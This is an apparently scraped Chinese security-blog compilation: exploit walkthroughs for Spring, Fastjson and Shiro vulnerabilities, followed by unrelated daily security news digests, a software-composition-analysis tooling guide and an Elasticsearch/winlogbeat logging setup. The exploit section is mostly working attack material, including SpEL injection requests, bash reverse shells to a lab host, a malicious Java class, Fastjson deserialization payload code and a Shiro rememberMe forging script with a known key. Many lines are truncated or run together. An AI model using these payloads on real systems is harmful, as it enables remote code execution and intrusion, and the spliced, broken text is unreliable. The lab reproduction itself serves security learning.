Spring Data Commons RCE漏洞(CVE-2018-1273)
Spring Data是一个用于简化数据库访问,并支持云服务的开源框架,Spring Data Commons是Spring Data下所有子项目共享的基础框架。Spring Data Commons 在2.0.5及以前版本中,存在一处SpEL表达式注入漏洞,攻击者可以注入恶意SpEL表达式以执行任意命令python3 SpringBoot-Scan.py -v "http://192.168.48.133:8080/%22
POST /users?page=&size=5 HTTP/1.1Host: 192.168.48.133:8080Connection: keep-aliveContent-Length: 129Pragma: no-cacheCache-Control: no-cacheOrigin: http://192.168.48.133:8080Upgrade-Insecure-Requests: 1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("touch whoami.sh")]=&password=&123repeatedPassword=123
python启动http.serverpython -m http.server 8888bash -i >& /dev/tcp/192.168.48.144/6665 0>&1payloadusernamehttp://192.168.48.144:8888/whoami6.sh%27&&]=&password=&123repeatedPassword=123)这里bash反弹成功了 ./执行未成功
Spring Cloud Gateway远程代码执行漏洞(CVE-2022-22947)
漏洞说明2022年3月1日,VMware官方发布漏洞报告,在使用Spring Colud Gateway的应用程序开启、暴露Gateway https://so.csdn.net/so/search?q=Actuator&spm=1001.2101.3001.7020端点时,会容易造成代码注入攻击,攻击者可以制造恶意请求,在远程主机进行任意远程执行。影响版本
Spring Cloud Gateway 3.1.x < 3.1.1
Spring Cloud Gateway 3.0.x < 3.0.7
旧的、不受支持的版本也会受到影响
python3 SpringBoot-Scan.py -v "http://192.168.48.133:8080/%22
POST /actuator/gateway/routes/hacktest HTTP/1.1Host: 192.168.48.133:8080Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,
{"id": "hacktest","filters": [{"name": "AddResponseHeader","args": {"name": "Result","value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{"id"}).getInputStream()))}"}}],"uri": "http://example.com%22}
发送如下数据包触发表达式执行
POST /actuator/gateway/refresh HTTP/1.1Host: 192.168.48.133:8080Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/we
GET /actuator/gateway/routes/hacktest HTTP/1.1Host: 192.168.48.133:8080Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,i
发送如上数据包查看结果
Spring Cloud Function SpEL RCE漏洞(CVE-2022-22963)
漏洞说明 2022年3月,Spring Cloud 官方修复了一个 Spring Cloud Function中的 SPEL 表达式注入漏洞,由于 Spring Cloud Function中 RoutingFunction 类的 apply 方法将请求头中的 “spring.cloud.function.routing-expression” 参数作为SpEL表达式进行处理,造成了SpEL表达式注入漏洞,攻击者可利用该漏洞远程执行任意代码。漏洞利用手工复现
POST /functionRouter HTTP/1.1Host: 192.168.68.168:8080Accept-Encoding: gzip, deflateAccept: /Accept-Language: enUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36Connection: closespring.cloud.function.routing-expression: T(j
Test
Spring Core RCE漏洞(CVE-2022-22965)
漏洞说明Spring framework 是Spring 里面的一个基础开源框架,其目的是用于简化 Java 企业级应用的开发难度和开发周期,2022年3月31日,VMware Tanzu发布漏洞报告,Spring Framework存在远程代码执行漏洞,在 JDK 9+ 上运行的 Spring MVC 或 Spring WebFlux 应用程序可能容易受到通过数据绑定的远程代码执行 (RCE) 的攻击。/tomcatwar.jsp?pwd=aabysszg&cmd=whoami手工复现GET /?class.module.classLoader.resources.context.paren
Spring Security 身份认证绕过漏洞 (CVE-2022-22978)
漏洞说明当SpringSecurity中使用RegexRequestMatcher进行权限配置,且规则中使用带点号的正则表达式时,未经授权的远程攻击者可通过构造恶意数据包绕过身份认证,导致配置的权限验证失效/admin/%0dtest/admin/%0atestspring漏洞总结spring框架存在敏感信息泄露漏洞,headdump泄露可能回泄露数据库密码等敏感数据,同时有许多的spel表达式注入漏洞,可以导致远程命令执行,还有身份认证绕过漏洞
Fastjson
什么是fastjson?
fastjson 是一个 有阿里开发的一个开源Java 类库,可以将 Java 对象转换为 JSON 格式(序列化),当然它也可以将 JSON 字符串转换为 Java 对象(https://so.csdn.net/so/search?q=%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96&spm=1001.2101.3001.7020)。Fastjson 可以操作任何 Java 对象,即使是一些预先存在的没有源码的对象
fastjson反序列化漏洞原理
fastjson在解析json的过程中,支持使用autoType来实例化某一个具体的类,并调用该类的set/get方法来访问属性。通过查找代码中相关的方法,即可构造出一些恶意利用链。fastjson漏洞利用过程编译一个恶意类,启动RMI服务,构造fastjson payload加载远程类,达到命令执行的目的。漏洞复现首先要配置好marshalsec.jar该工具是java反序列化工具,可以快速开启RMI和LDAP服务mvn编译,建议环境JAVA1.8,maven3.6+proxychains4 git clone https://github.com/mbechler/marshalsec.g
import java.lang.Runtime;import java.lang.Process;public class test{ static { try { Runtime rt = Runtime.getRuntime(); String[] commands = { "/bin/sh", "-c", "ping user.`whoami`.ivg4na.dnslog.cn"}; Process pc = rt.exec(commands); pc.waitFor(); } catch (Exception e) { } }}
javac test.javayakit启动dnslog
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.48.144:9999/#test%22 6666整体流程1@type 指向com.sun.rowset.JdbcRowSetImpl类该类其中有个dataSourceName方法支持传入一个rmi的源,只要解析其中的url就会支持远程调用2远程访问我们启动的rmi服务器,rmi服务器请求加载远程服务器的class,这个class就是我们提前编译上传到服务器的恶意class3.rmi将远程加载得到的class返回给靶机服
fastjson不出网打法利用
fastjson不出网的话我们就没有办法利用这个rmi服务进行远程加载恶意类了本地搭建环境TemplatesImpl打法利用条件苛刻服务端使用parseObject时,必须使用如下格式才能触发漏洞JSON.parseObject(input, Object.class, Feature.SupportNonPublicField)服务端使用parse()时,需要JSON.parse(text1,Feature.SupportNonPublicField)
<dependencies><dependency> <groupId>com.alibaba</groupId> <artifactId>fastjson</artifactId> <version>1.2.24</version></dependency></dependencies>
Templateslmplcmd.Java
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
public class Templateslmplcmd extends AbstractTranslet {
public Templateslmplcmd() throws Exception {
Runtime.getRuntime().exec("calc");
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) {
}
@Override
public void transform(DOM document, com.sun.org.apache.xml.internal.serializer.SerializationHandler[] handlers) throws TransletException {
}
}import java.io.*;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import java.util.Base64;
public class test01 {
public static void main(String[] args) throws Exception {
FileInputStream inputFromFile = new FileInputStream("E:\\JAVASEC\\test02\\src\\main\\java\\Templateslmplcmd.class");
byte[] bs = new byte[inputFromFile.available()];
inputFromFile.read(bs);
String encodedBytes = Base64.getEncoder().encodeToString(bs);
//<=1.2.24
String payload = "{\r\n"
+ " \"a\": {\r\n"
+ " \"@type\": \"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\", \r\n"
+ " \"_bytecodes\": [\r\n"
+ " \""+encodedBytes+"\"\r\n"
+ " ], \r\n"
+ " \"_name\": \"aaa\", \r\n"
+ " \"_tfactory\": { }, \r\n"
+ " \"_outputProperties\": { }\r\n"
+ " }\r\n"
+ "}";
//<1.2.48
// payload = "{\r\n"
// + " \"a\": {\r\n"
// + " \"@type\": \"java.lang.Class\", \r\n"
// + " \"val\": \"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\"\r\n"
// + " }, \r\n"
// + " \"b\": {\r\n"
// + " \"@type\": \"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\", \r\n"
// + " \"_bytecodes\": [\r\n"
// + " \""+encodedBytes+"\"\r\n"
// + " ], \r\n"
// + " \"_name\": \"aaa\", \r\n"
// + " \"_tfactory\": { }, \r\n"
// + " \"_outputProperties\": { }\r\n"
// + " }\r\n"
// + "}";
System.out.println(payload);
JSON.parseObject(payload, Feature.SupportNonPublicField);
}
}
BCEL不出网打法C3P0二次反序列化打法等等可参考https://github.com/lemono0/FastJsonParty/blob/main/Fastjson%E5%85%A8%E7%89%88%E6%9C%AC%E6%A3%80%E6%B5%8B%E5%8F%8A%E5%88%A9%E7%94%A8-Poc.md
shiro
shiro漏洞原理介绍shiro的特征的是rememberMe字段rememberMe字段采用的是AES加密+base64编码采用AES加密我们拿到KEY的话就可以解密,服务端会进行base64解码+AES解密进行反序列化,那么拿到KEY便可以进行修改rememberMe的值进行反序列化攻击
shiro-CVE-2016-4437
CVE-2016-4437,影响版本shiro1.24如果未勾选 Remember me,则只能在返回包里看见勾选可看这里是先用工具爆破密钥手工复现,更容易理解漏洞过程key如下kPH+bIxk5D2deZiIxcaaaA==参考网上公开代码如下:::infoimport uuidimport base64from Crypto.Cipher import AES
def encode_rememberme(): f = open('poc.ser','rb') BS = AES.block_size pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode() key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==") iv = uuid.uuid4().bytes encryptor = AES.new(key, AES.MODE_CBC, iv) file_body = pad(f.read()) base64_ciphe
if name == 'main': payload = encode_rememberme() print("rememberMe={0}".format(payload.decode())):::反弹shell利用bash -i >& /dev/tcp/192.168.48.144/6668 0>&1YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjQ4LjE0NC82NjY4IDA+JjE=java -jar ysoserial-all.jar CommonsBeanutils1 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC
shiro-CVE-2020-1957
漏洞描述使用 Apache Shiro 进行身份验证、权限控制时,可以精心构造恶意的URL,利用Apache Shiro 和 Spring Boot 对URL的处理的差异化,可以绕过Apache Shiro 对 Spring Boot 中的 Servlet的权限控制,越权并实现未授权访问。漏洞影响版本
Apache Shiro < 1.5.1
漏洞复现payload /xxx/..;/admin/ 越权访问后台管理系统
shiro baypasswaf
bypasswaf可参考如下文章http://120.79.21.98:8090/archives/shirobypass
shiro有key无利用链子打法
面试遇见过的问题,除了问shiro反序列化漏洞原理有时候也会问到这个点其实还是有链子的,链子多的话,通过爆破利用链,完成漏洞利用。环境搭建docker pull medicean/vulapps:s_shiro_1docker run -d -p 80:8080 medicean/vulapps:s_shiro_1
网络安全日报 2024年04月08日
1、攻击者通过推广虚假的人工智能服务传播恶意软件
https://www.bitdefender.com/blog/labs/ai-meets-next-gen-info-stealers-in-social-media-malvertising-campaigns/ 攻击者正在利用Facebook广告和被劫持的页面来推广虚假的人工智能服务,例如MidJourney、OpenAI的 SORA和ChatGPT-5以及DALL-E,用以传播恶意软件,包括Rilide、Vidar、IceRAT和Nova等窃密木马。攻击者利用这些窃密木马从受害者的浏览器中窃取数据,包括存储的凭据、cookie、加密货币钱包信息、自动完成数据和信用卡信息。
2、Ivanti产品中存在远程代码执行漏洞
https://www.bleepingcomputer.com/news/security/new-ivanti-rce-flaw-may-impact-16-000-exposed-vpn-gateways/ CVE-2024-21894,是Ivanti Connect Secure9.x和22.x的IPSec组件中的高危堆溢出漏洞,可能允许未经身份验证的攻击者通过发送特制请求来导致拒绝服务(DoS)或实现远程代码执行。Ivanti表示,目前没有看到客户被该漏洞攻击的迹象,但该公司敦促系统管理员尽快应用更新。
3、Acuity公司确认攻击者从其GitHub中窃取了非敏感数据
https://www.bleepingcomputer.com/news/security/acuity-confirms-hackers-stole-non-sensitive-govt-data-from-github-repos/ 与美国政府机构合作的联邦承包商Acuity证实,攻击者入侵了其GitHub存储库并窃取了包含旧数据和非敏感数据的文档。该公司表示,在发现该攻击事件后,Acuity立即应用了供应商的安全更新,并根据供应商的指导执行了缓解措施。在进行内部分析并经过第三方网络安全专家调查后,Acuity没有看到任何对其客户的敏感数据产生影响的证据。
4、研究人员发现名为Red CryptoApp的新勒索组织
https://www.hackread.com/red-ransomware-group-red-cryptoapp-wall-of-shame 安全研究人员发现了一个名为Red Ransomware Group(Red CryptoApp)的新勒索软件组织。Red CryptoApp勒索组织的开始时间尚不清楚,但据信该组织于2024年2月开始运营。研究人员注意到该组织此前使用的一种勒索信与Maze勒索组织曾使用的存在一些相似之处,这可能是一个巧合,目前尚不清楚Red Ransomware Group是否是Maze勒索组织的衍生组织。
5、研究人员发现恶意软件JSOutProx的新变种
https://www.resecurity.com/blog/article/the-new-version-of-jsoutprox-is-attacking-financial-institutions-in-apac-and-mena-via-gitlab-abuse 研究人员发现 恶意软件JSOutProx的新变种,攻击者针对亚太地区和中东、北非地区的金融服务组织进行攻击。JSOutProx是一个基于JavaScript和.NET的攻击框架。该恶意软件于2019年首次被发现,它使用.NET反序列化功能与受害者计算机上运行的核心JavaScript模块进行交互。一旦执行,恶意软件能够
6、100万+站点使用的WordPress插件LayerSlider存在高危漏洞
https://www.bleepingcomputer.com/news/security/critical-flaw-in-layerslider-wordpress-plugin-impacts-1-million-sites 一个名为LayerSlider的高级WordPress插件被100多万个站点使用,该插件中存在高危漏洞,容易受到未经身份验证的SQL注入,网站管理员需要尽快为该插件应用安全更新。该漏洞被标记为CVE-2024-2879,CVSS评分为9.8,该漏洞会影响插件的7.9.11至7.10.0版本,可能允许攻击者从站点的数据库中提取敏感数据,例如密码哈希,使他们面临完全
7、美国癌症中心City of Hope确认患者数据泄露
https://www.bleepingcomputer.com/news/security/us-cancer-center-data-breach-exposes-info-of-827-000-patients 癌症治疗和研究中心City of Hope警告称,数据泄露事件导致超过820000名患者的敏感信息泄露。本周早些时候,这家医疗机构在其网站上发布了一份数据安全事件通知,告知其在去年9月至10月期间遭受了安全事件。该公司确定未经授权的攻击者访问了系统的一部分并获得了一些文件的副本,涉及的数据包括全名、电子邮件地址、电话号码、出生日期、社会安全号码、驾照、政府签发的身份证件、银行帐
8、思科警告已停产的小型企业路由器存在漏洞
https://www.securityweek.com/cisco-warns-of-vulnerability-in-discontinued-small-business-routers/ 思科表示,不会针对影响小型企业路由器报废的跨站点脚本漏洞发布补丁。
9、超过9万个公开的D-Link NAS设备存在漏洞容易被黑客攻击
https://securityaffairs.com/161549/hacking/d-link-nas-flaw.html 一名研究人员披露了多个报废的 D-Link NAS 型号中存在任意命令注入和硬编码后门问题。
10、Magento 漏洞被利用部署持久后门
https://www.securityweek.com/magento-vulnerability-exploited-to-deploy-persistent-backdoor/ 攻击者正在利用 Magento 最近的漏洞在电子商务网站上部署持久后门。
声明
以上内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景科技观点,因此第三方对以上内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景科技无关。以上内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景科技一律不予承担。
甲方安全建设之研发安全-SCA
前言
大多数企业或多或少的会去采购第三方软件,或者研发同学在开发代码时,可能会去使用一些好用的软件包或者依赖包,但是如果这些包中存在恶意代码,又或者在安装包时不小心打错了字母安装了错误的软件包,则可能出现供应链攻击。因此去识别采购或者自研项目中的软件包,来保证其版本足够新、不存在恶意代码是解决供应链的一项重要措施,而SCA(软件成分分析)可以帮助完成这一动作。
OpenSCA-cli
下载地址:https://github.com/XmirrorSecurity/OpenSCA-cli 使用方法:首先使用了Docker的方式,快速扫描本地:docker run -ti --rm -v ${PWD}:/src opensca/opensca-cli笔者选择了一个自身的python项目,没发现风险:
不知道是不是Docker中没漏洞数据库还是Docker中的自带的漏洞数据库太少导致。再次尝试使用Docker连接其SAAS云端的方式进行扫描,发现可能是Docker内应用程序问题,导致TLS验证失败:
Get "https://opensca.xmirror.cn/oss-saas/api-v1/open-sca-client/aes-key?clientId=SxxxZVL&ossToken=xx-xx-xx-xx-xx": tls: failed to verify certificate: x509: certificate signed by unknown autho
反正核心都是使用opensca-cli ,因此直接使用Github下载的二进制文件进行了本地扫描:
-token xe43dxxf55-xx-xx-xx-xxx -proj "" -path ${待检测目标路径}
云端还是能扫出不少东西的:
DependencyTrack
下载地址:https://github.com/DependencyTrack/dependency-track参考官方文档:https://docs.dependencytrack.org/getting-started/deploy-docker/这里使用Docker启动,且先不使用数据库:
curl -LO https://dependencytrack.org/docker-compose.yml
docker-compose up -d
根据docker-compose.yml内容,frontend前端端口是8080,访问8080,使用admin/admin登录:
这里依然以python项目为例,使用python-sbom生成工具生成sbom:https://github.com/CycloneDX/cyclonedx-python
python -m pip install cyclonedx-bom
python3 -m cyclonedx_py -h
python3 -m cyclonedx_py requirements -o out.json
然后到Projects->Create project->Components->Upload BOM上传生成的BOM即可。
发现一个问题,就以python为例,DependencyTrack解析的是requirements等方式来获取的软件清单,相比于OpenSCA-cli少了很多,比如hostScan项目中的requirements.txt文件里面的包就是17个,DependencyTrack识别到的就是17个:
而OpenSCA-cli会发现一些依赖的包:
甲方安全建设之日志采集实操干货
前言
没有永远的安全,如何在被攻击的情况下,快速响应和快速溯源分析攻击动作是个重要的话题。想要分析攻击者做了什么、怎么攻击进来的、还攻击了谁,那么日志是必不可少的一项,因此我们需要尽可能采集多的日志来进行分析攻击者的动作,甚至在攻击者刚落脚的时候就阻断攻击者。
安装Elastic+Kibana
Docker安装
这边根据官方文档:https://www.elastic.co/guide/en/elasticsearch/reference/current/docker.html 使用Docker安装了Elastic和Kibana
# 安装es
docker network create elastic
docker pull docker.elastic.co/elasticsearch/elasticsearch:8.12.1
docker run --name es01 --net elastic -p 9200:9200 -it -m 1GB docker.elastic.co/elasticsearch/elasticsearch:8.12.1
# 记录es的密码和注册kibana所需要的token
# 测试es是否正确运行
export ELASTIC_PASSWORD="es_your_password"
docker cp es01:/usr/share/elasticsearch/config/certs/http_ca.crt .
curl --cacert http_ca.crt -u elastic:$ELASTIC_PASSWORD https://localhost:9200
# 安装kibana
docker pull docker.elastic.co/kibana/kibana:8.12.1
docker run --name kib01 --net elastic -p 5601:5601 docker.elastic.co/kibana/kibana:8.12.1
会给出kibana的注册地址,访问填入上述记录的token即可。
不知道是机器性能问题还是Docker安装的问题,es容器经常会挂掉。
RPM安装
根据https://www.elastic.co/guide/en/elasticsearch/reference/current/rpm.html、https://www.elastic.co/guide/en/kibana/current/rpm.html官方文档,可以yum install安装。因为公司访问镜像源被封,因此使用上述文档中下载rpm安装:
# 安装es
wget https://artifacts.elastic.co/downloads/elasticsearch/elasticsearch-8.12.1-x86_64.rpm
wget https://artifacts.elastic.co/downloads/elasticsearch/elasticsearch-8.12.1-x86_64.rpm.sha512
shasum -a 512 -c elasticsearch-8.12.1-x86_64.rpm.sha512
sudo rpm --install elasticsearch-8.12.1-x86_64.rpm
安装kibana
wget https://artifacts.elastic.co/downloads/kibana/kibana-8.12.1-x86_64.rpm
wget https://artifacts.elastic.co/downloads/kibana/kibana-8.12.1-x86_64.rpm.sha512
shasum -a 512 -c kibana-8.12.1-x86_64.rpm.sha512
sudo rpm --install kibana-8.12.1-x86_64.rpm
依然在安装es的rpm时,会吐出es/kibana的密码:
The generated password for the elastic built-in superuser is : Fq*S7jxCjFfPu6nN8NG8
es服务可能启动不了,但是安装时会给出启动命令:
sudo systemctl daemon-reload
sudo systemctl enable elasticsearch.service
测试es启动是否正常:
export ELASTIC_PASSWORD="Fq*S7jxCjFfPu6nN8NG8"
curl --cacert /etc/elasticsearch/certs/http_ca.crt -u elastic:$ELASTIC_PASSWORD https://localhost:9200
记得改下配置文件,使其监听在0.0.0.0上面:
# /etc/elasticsearch/elasticsearch.yml
# Allow HTTP API connections from anywhere
# Connections are encrypted and require user authentication
http.host: 0.0.0.0
# Allow other nodes to join the cluster from anywhere
# Connections are encrypted and mutually authenticated
transport.host: 0.0.0.0
kibana一样,记得改下配置文件,使其监听在0.0.0.0上面:
# /etc/kibana/kibana.yml
server.host: "0.0.0.0"
安装Fleet和Elastic Agent
在Kibana上,Management->Fleet->Add Fleet Server,先安装Fleet Server,URL填写https协议,端口可以填默认的8220。装好Fleet Server后再装Elastic Agent,Fleet Server也是一个Agent,因此不能在同一台机器上同时装Fleet Server和Elastic Agent。
为了使其Elastic Agent附带Security能力,可以添加各式各样的integrations集成,如到Security->Manage->Get started->Add security integrations安装安全集成:
测试告警
注意,如果有如下错误需解决,否则会无法查阅规则:
有些规则没开,记得开下,比如我把reverse shell规则打开后:Security->Dashboards->Detection & Response可以看到一些概览:
记录Windows事件管理器日志
安装
Windows事件管理器日志不是单纯的文本,因此需要借助一些工具来帮助我们完成采集的目的。这里使用winlogbeat(https://www.elastic.co/cn/beats/winlogbeat)完成。官方提供了很详细的安装文档(https://www.elastic.co/guide/en/beats/winlogbeat/current/winlogbeat-installation-configuration.html),核心就是配置想要记录的日志类型和对外传输的方案,这里我使用的方案为:
记录的日志类型,我没改,默认就是Security、Application,甚至还有Sysmon
对外传输,我使用了传输到elastic
配置好winlogbeat.yml后可以进行测试配置文件对不对:
.\winlogbeat.exe test config -c .\winlogbeat.yml -e
下面为我的配置文件信息:
###################### Winlogbeat Configuration Example ########################
# This file is an example configuration file highlighting only the most common
# options. The winlogbeat.reference.yml file from the same directory contains
# all the supported options with more comments. You can use it as a reference.
#
# You can find the full configuration reference here:
# https://www.elastic.co/guide/en/beats/winlogbeat/index.html
# ======================== Winlogbeat specific options =========================
# event_logs specifies a list of event logs to monitor as well as any
# accompanying options. The YAML data type of event_logs is a list of
# dictionaries.
#
# The supported keys are name, id, xml_query, tags, fields, fields_under_root,
# forwarded, ignore_older, level, event_id, provider, and include_xml.
# The xml_query key requires an id and must not be used with the name,
# ignore_older, level, event_id, or provider keys. Please visit the
# documentation for the complete details of each option.
# https://go.es.io/WinlogbeatConfig
winlogbeat.event_logs:
- name: Application
ignore_older: 72h
- name: System
- name: Security
- name: Microsoft-Windows-Sysmon/Operational
- name: Windows PowerShell
event_id: 400, 403, 600, 800
- name: Microsoft-Windows-PowerShell/Operational
event_id: 4103, 4104, 4105, 4106
- name: ForwardedEvents
tags: [forwarded]
# ====================== Elasticsearch template settings =======================
setup.template.settings:
index.number_of_shards: 1
#index.codec: best_compression
#_source.enabled: false
# ================================== General ===================================
# The name of the shipper that publishes the network data. It can be used to group
# all the transactions sent by a single shipper in the web interface.
#name:
# The tags of the shipper are included in their field with each
# transaction published.
#tags: ["service-X", "web-tier"]
# Optional fields that you can specify to add additional information to the
# output.
#fields:
# env: staging
# ================================= Dashboards =================================
# These settings control loading the sample dashboards to the Kibana index. Loading
# the dashboards is disabled by default and can be enabled either by setting the
# options here or by using the `setup` command.
#setup.dashboards.enabled: false
# The URL from where to download the dashboard archive. By default, this URL
# has a value that is computed based on the Beat name and version. For released
# versions, this URL points to the dashboard archive on the artifacts.elastic.co
# website.
#setup.dashboards.url:
# =================================== Kibana ===================================
# Starting with Beats version 6.0.0, the dashboards are loaded via the Kibana API.
# This requires a Kibana endpoint configuration.
setup.kibana:
# Kibana Host
# Scheme and port can be left out and will be set to the default (http and 5601)
# In case you specify and additional path, the scheme is required: http://localhost:5601/path
# IPv6 addresses should always be defined as: https://[2001:db8::1]:5601
#host: "localhost:5601"
# Kibana Space ID
# ID of the Kibana Space into which the dashboards should be loaded. By default,
# the Default Space will be used.
#space.id:
# =============================== Elastic Cloud ================================
# These settings simplify using Winlogbeat with the Elastic Cloud (https://cloud.elastic.co/).
# The cloud.id setting overwrites the `output.elasticsearch.hosts` and
# `setup.kibana.host` options.
# You can find the `cloud.id` in the Elastic Cloud web UI.
#cloud.id:
# The cloud.auth setting overwrites the `output.elasticsearch.username` and
# `output.elasticsearch.password` settings. The format is `<user>:<pass>`.
#cloud.auth:
# ================================== Outputs ===================================
# Configure what output to use when sending the data collected by the beat.
# ---------------------------- Elasticsearch Output ----------------------------
output.elasticsearch:
# Array of hosts to connect to.
hosts: ["your_ip:9200"]
# Protocol - either `http` (default) or `https`.
#protocol: "https"
# Authentication credentials - either API key or username/password.
#api_key: "id:api_key"
username: "elastic"
password: "passwords"
# Pipeline to route events to security, sysmon, or powershell pipelines.
pipeline: "winlogbeat-%{[agent.version]}-routing"
# ------------------------------ Logstash Output -------------------------------
#output.logstash:
# The Logstash hosts
#hosts: ["localhost:5044"]
# Optional SSL. By default is off.
# List of root certificates for HTTPS server verifications
#ssl.certificate_authorities: ["/etc/pki/root/ca.pem"]
# Certificate for SSL client authentication
#ssl.certificate: "/etc/pki/client/cert.pem"
# Client Certificate Key
#ssl.key: "/etc/pki/client/cert.key"
# ================================= Processors =================================
processors:
- add_host_metadata:
when.not.contains.tags: forwarded
- add_cloud_metadata: ~
# ================================== Logging ===================================
# Sets log level. The default log level is info.
# Available log levels are: error, warning, info, debug
#logging.level: debug
# At debug level, you can selectively enable logging only for some components.
# To enable all selectors, use ["*"]. Examples of other selectors are "beat",
# "publisher", "service".
#logging.selectors: ["*"]
# ============================= X-Pack Monitoring ==============================
# Winlogbeat can export internal metrics to a central Elasticsearch monitoring
# cluster. This requires xpack monitoring to be enabled in Elasticsearch. The
# reporting is disabled by default.
# Set to true to enable the monitoring reporter.
#monitoring.enabled: false
# Sets the UUID of the Elasticsearch cluster under which monitoring data for this
# Winlogbeat instance will appear in the Stack Monitoring UI. If output.elasticsearch
# is enabled, the UUID is derived from the Elasticsearch cluster referenced by output.elasticsearch.
#monitoring.cluster_uuid:
# Uncomment to send the metrics to Elasticsearch. Most settings from the
# Elasticsearch outputs are accepted here as well.
# Note that the settings should point to your Elasticsearch *monitoring* cluster.
# Any setting that is not set is automatically inherited from the Elasticsearch
# output configuration, so if you have the Elasticsearch output configured such
# that it is pointing to your Elasticsearch monitoring cluster, you can simply
# uncomment the following line.
#monitoring.elasticsearch:
# ============================== Instrumentation ===============================
# Instrumentation support for the winlogbeat.
#instrumentation:
# Set to true to enable instrumentation of winlogbeat.
#enabled: false
# Environment in which winlogbeat is running on (eg: staging, production, etc.)
#environment: ""
# APM Server hosts to report instrumentation results to.
#hosts:
# - http://localhost:8200
# API Key for the APM Server(s).
# If api_key is set then secret_token will be ignored.
#api_key:
# Secret token for the APM Server(s).
#secret_token:
# ================================= Migration ==================================
# This allows to enable 6.7 migration aliases
#migration.6_to_7.enabled: true
数据检索
这时候,可能elastic上面搜不到数据,是因为winlogbeat使用了他自己的索引,默认为winlogbeat-version,笔者测试时,发现kibana上迟迟出现不了该索引,还以为数据传输没成功呢,因此通过如下手段进行排查,先获取es上面的索引信息:
http://your_ip:9200/_cat/indices?v
发现有类似winlogbeat的索引信息:
yellow open .ds-winlogbeat-8.12.0-2024.02.03-000001 UpWhWCpdR-2WgMVe_kiH9A 1 1 192705 0 131.1mb 131.1mb
后面尝试在kibana上创建一个新的索引即可,v7.17.12版本的kibana创建索引的过程如下:discover->选项->View Discover settings
找到“索引模式”创建一个新的索引即可:
这时候就可以检索事件管理器日志了:
网络安全日报 2024年04月07日
1、比特梵德修复其产品中的安全漏洞
https://cybersecuritynews.com/bitdefender-security-privilege-escalation-patch-now/ 网络安全公司Bitdefender修复了一个可能导致权限提升的漏洞,该漏洞会影响其产品,包括Bitdefender Internet Security、Bitdefender Antivirus Plus、Bitdefender Total Security和Bitdefender Antivirus Free。该漏洞被标记为CVE-2023-6154,CVSS评分为7.8,可能导致权限提升,使攻击者完全控制他们所针对的系统。该
2、Octopus Server存在权限提升漏洞
https://cybersecuritynews.com/octopus-server-flaw/ Octopus Server是一种用于部署、操作运行手册和开发任务的流行自动化工具,其中存在一个严重的安全漏洞。该漏洞被标记为CVE-2024-2975,可能允许攻击者提升权限。该漏洞于2024年2月20日被发现,补丁程序于2024年3月21日发布。Octopus Deploy在2024年4月2日发布了一份公告,对该漏洞进行了详细介绍。
3、宜必思酒店的自助入住机存在安全漏洞
https://www.hackread.com/ibis-budget-guest-room-codes-hacker-vulnerability/ 来自瑞士的安全团队在德国一家宜必思酒店的自助入住机中发现漏洞,该漏洞能够使办理入住后的房门密码直接显示在屏幕上,从而可能危及任何使用该自助入住机的用户安全。尽管安全人员仅在一家德国的酒店中确认了该漏洞,但他们认为该漏洞可能会影响更多的宜必思快捷酒店。安全团队称,他们已及时将该安全漏洞通报给雅高酒店集团。雅高酒店集团迅速做出了响应,并在一个月内推出了补丁程序,修复漏洞并防止房门密码进一步泄露。
4、研究人员披露攻击者利用Agent Tesla进行网络攻击活动
https://research.checkpoint.com/2024/agent-tesla-targeting-united-states-and-australia 研究人员发现近期针对美国和澳大利亚组织的Agent Tesla恶意软件攻击活动。2023年11月 7日,攻击者开始针对澳大利亚组织进行攻击活动。攻击者发起网络钓鱼活动以窃取组织的电子邮件凭据,以访问组织并开展后续的攻击活动,并执行恶意软件Agent Tesla。攻击者发送了62000封钓鱼邮件,并随后在11月8日和30日发起2轮钓鱼邮件攻击活动。经过进一步调查,研究人员追踪到两名攻击者,并在报告中列举了相关证据。
5、攻击者通过YouTube视频传播恶意软件
